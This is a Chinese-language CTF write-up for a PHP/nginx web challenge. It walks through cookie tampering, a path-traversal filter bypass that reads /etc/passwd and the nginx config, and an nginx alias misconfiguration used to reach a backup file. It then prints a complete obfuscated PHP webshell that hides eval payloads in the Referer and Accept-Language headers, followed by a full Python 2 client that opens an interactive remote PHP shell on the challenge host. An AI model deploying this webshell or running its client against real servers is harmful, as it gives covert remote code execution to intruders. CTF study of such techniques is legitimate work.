web php wrong nginx config
目录
题目描述
无
解题过程
信息收集
- 环境
- ubuntu
- nginx/1.10.3
- php
- 御剑扫描
- 发现
robots.txt
和/admin/
- 发现
robots.txt
里面放了两个文件名hint.php
和Hack.php
依次访问
hint.php
内容为
配置文件也许有问题呀:/etc/nginx/sites-enabled/site.conf
Hack.php
无法访问,要求登录,但是登录功能点无法使用,抓包,发现cookie字段isLogin=0
在浏览器console里修改为isLogin=1
,成功访问
尝试了一遍,发现只有管理中心链接可以跳转
/admin/admin.php
应该是文件包含
- 尝试
file=../../../../etc/passwd&ext=
,页面除了少了please continue
之外没有变化 - 尝试
file=index./&ext=php
,页面没有please continue
- 尝试
file=index../&ext=php
,页面有please continue
- 尝试
file=index.../&ext=php
,页面有please continue
有两种情况,一种是过滤了./
,另一种是过滤了../
,但第一次尝试,读取不成功,返回的页面中没有please continue
,所以应该是过滤了../
-
再次尝试
file=..././..././..././..././etc/passwd&ext=
/etc/nginx/sites-enabled/site.conf
-
访问
file=..././..././..././..././etc/nginx/sites-enabled/site.conf&ext=
-
得到内容
server { listen 8080; ## listen for ipv4; this line is default and implied listen [::]:8080; ## listen for ipv6 root /var/www/html; index index.php index.html index.htm; port_in_redirect off; server_name _; # Make site accessible from http://localhost/ #server_name localhost; # If block for setting the time for the logfile if ($time_iso8601 ~ "^(\d{4})-(\d{2})-(\d{2})") { set $year $1; set $month $2; set $day $3; } # Disable sendfile as per https://docs.vagrantup.com/v2/synced-folders/virtualbox.html sendfile off; set $http_x_forwarded_for_filt $http_x_forwarded_for; if ($http_x_forwarded_for_filt ~ ([0-9]+\.[0-9]+\.[0-9]+\.)[0-9]+) { set $http_x_forwarded_for_filt $1???; } # Add stdout logging access_log /var/log/nginx/$hostname-access-$year-$month-$day.log openshift_log; error_log /var/log/nginx/error.log info; location / { # First attempt to serve request as file, then # as directory, then fall back to index.html try_files $uri $uri/ /index.php?q=$uri&$args; server_tokens off; } #error_page 404 /404.html; # redirect server error pages to the static page /50x.html # error_page 500 502 503 504 /50x.html; location = /50x.html { root /usr/share/nginx/html; } location ~ \.php $ { try_files $uri $uri/ /index.php?q=$uri&$args; fastcgi_split_path_info ^(.+\.php)(/.+)$; fastcgi_pass unix:/var/run/php/php5.6-fpm.sock; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; fastcgi_param SCRIPT_NAME $fastcgi_script_name; fastcgi_index index.php; include fastcgi_params; fastcgi_param REMOTE_ADDR $http_x_forwarded_for; } location ~ /\. { log_not_found off; deny all; } location /web-img { alias /images/; autoindex on; } location ~* \.(ini|docx|pcapng|doc)$ { deny all; } include /var/www/nginx[.]conf; }
发现
/web-img
可以进行目录浏览,这里的url解析为/web-img
,所以构造的路径需要直接添加在后,不需要再添加/
/web-img
-
访问
/web-img
,绝对路径为/web-img
-
访问
web-img../
-
发现
hack.php.bak
文件解码后
<?php $kh = "42f7"; $kf = "e9ac"; function x($t, $k) { $c = strlen($k); $l = strlen($t); $o = ""; for ($i = 0;$i < $l;) { for ($j = 0;($j < $c && $i < $l);$j++, $i++) { $o.= $t{$i} ^ $k{$j}; } } return $o; } $r = $_SERVER; $rr = @$r["HTTP_REFERER"]; $ra = @$r["HTTP_ACCEPT_LANGUAGE"]; if ($rr && $ra) { $u = parse_url($rr); parse_str($u["query"], $q); $q = array_values($q); preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/", $ra, $m); if ($q && $m) { @session_start(); $s = & $_SESSION; $ss = "substr"; $sl = "strtolower"; $i = $m[1][0] . $m[1][1]; $h = $sl($ss(md5($i . $kh), 0, 3)); $f = $sl($ss(md5($i . $kf), 0, 3)); $p = ""; for ($z = 1;$z < count($m[1]);$z++) $p.= $q[$m[2][$z]]; if (strpos($p, $h) === 0) { $s[$i] = ""; $p = $ss($p, 3); } if (array_key_exists($i, $s)) { $s[$i].= $p; $e = strpos($s[$i], $f); if ($e) { $k = $kh . $kf; ob_start(); @eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/", "/-/"), array("/", "+"), $ss($s[$i], 0, $e))), $k))); $o = ob_get_contents(); ob_end_clean(); $d = base64_encode(x(gzcompress($o), $k)); print ("<$k>$d</$k>"); @session_destroy(); } } } } ?>
大概是个加壳的webshell,但看不懂 = =,搜到一篇介绍,使用介绍里的exp(py2)
exp
= = = = = = = = = 介绍里的脚本(使用的时候需要把67、68行的密钥和70行的url改一下)
# encoding: utf-8
from random import randint, choice
from hashlib import md5
import urllib
import string
import zlib
import base64
import requests
import re
def choicePart(seq, amount):
length = len(seq)
if length == 0 or length < amount:
print 'Error Input'
return None
result = []
indexes = []
count = 0
while count < amount:
i = randint(0, length - 1)
if not i in indexes:
indexes.append(i)
result.append(seq[i])
count += 1
if count == amount:
return result
def randBytesFlow(amount):
result = ''
for i in xrange(amount):
result += chr(randint(0, 255))
return result
def randAlpha(amount):
result = ''
for i in xrange(amount):
result += choice(string.ascii_letters)
return result
def loopXor(text, key):
result = ''
lenKey = len(key)
lenTxt = len(text)
iTxt = 0
while iTxt < lenTxt:
iKey = 0
while iTxt < lenTxt and iKey < lenKey:
result += chr(ord(key[iKey]) ^ ord(text[iTxt]))
iTxt += 1
iKey += 1
return result
def debugPrint(msg):
if debugging:
print msg
# config
debugging = False
keyh = "42f7" # $kh
keyf = "e9ac" # $kf
xorKey = keyh + keyf
url = 'http://220.249.52.133:43560/hack.php'
defaultLang = 'zh-CN'
languages = ['zh-TW;q=0.%d', 'zh-HK;q=0.%d', 'en-US;q=0.%d', 'en;q=0.%d']
proxies = None # {'http':'http://127.0.0.1:8080'} # proxy for debug
sess = requests.Session()
# generate random Accept-Language only once each session
langTmp = choicePart(languages, 3)
indexes = sorted(choicePart(range(1, 10), 3), reverse=True)
acceptLang = [defaultLang]
for i in xrange(3):
acceptLang.append(langTmp[i] % (indexes[i],))
acceptLangStr = ','.join(acceptLang)
debugPrint(acceptLangStr)
init2Char = acceptLang[0][0] + acceptLang[1][0] # $i
md5head = (md5(init2Char + keyh).hexdigest())[0:3]
md5tail = (md5(init2Char + keyf).hexdigest())[0:3] + randAlpha(randint(3, 8))
debugPrint('$i is %s' % (init2Char))
debugPrint('md5 head: %s' % (md5head,))
debugPrint('md5 tail: %s' % (md5tail,))
# Interactive php shell
cmd = raw_input('phpshell > ')
while cmd != '':
# build junk data in referer
query = []
for i in xrange(max(indexes) + 1 + randint(0, 2)):
key = randAlpha(randint(3, 6))
value = base64.urlsafe_b64encode(randBytesFlow(randint(3, 12)))
query.append((key, value))
debugPrint('Before insert payload:')
debugPrint(query)
debugPrint(urllib.urlencode(query))
# encode payload
payload = zlib.compress(cmd)
payload = loopXor(payload, xorKey)
payload = base64.urlsafe_b64encode(payload)
payload = md5head + payload
# cut payload, replace into referer
cutIndex = randint(2, len(payload) - 3)
payloadPieces = (payload[0:cutIndex], payload[cutIndex:], md5tail)
iPiece = 0
for i in indexes:
query[i] = (query[i][0], payloadPieces[iPiece])
iPiece += 1
referer = url + '?' + urllib.urlencode(query)
debugPrint('After insert payload, referer is:')
debugPrint(query)
debugPrint(referer)
# send request
r = sess.get(url, headers={'Accept-Language': acceptLangStr, 'Referer': referer}, proxies=proxies)
html = r.text
debugPrint(html)
# process response
pattern = re.compile(r'<%s>(.*)</%s>' % (xorKey, xorKey))
output = pattern.findall(html)
if len(output) == 0:
print 'Error, no backdoor response'
cmd = raw_input('phpshell > ')
continue
output = output[0]
debugPrint(output)
output = output.decode('base64')
output = loopXor(output, xorKey)
output = zlib.decompress(output)
print output
cmd = raw_input('phpshell > ')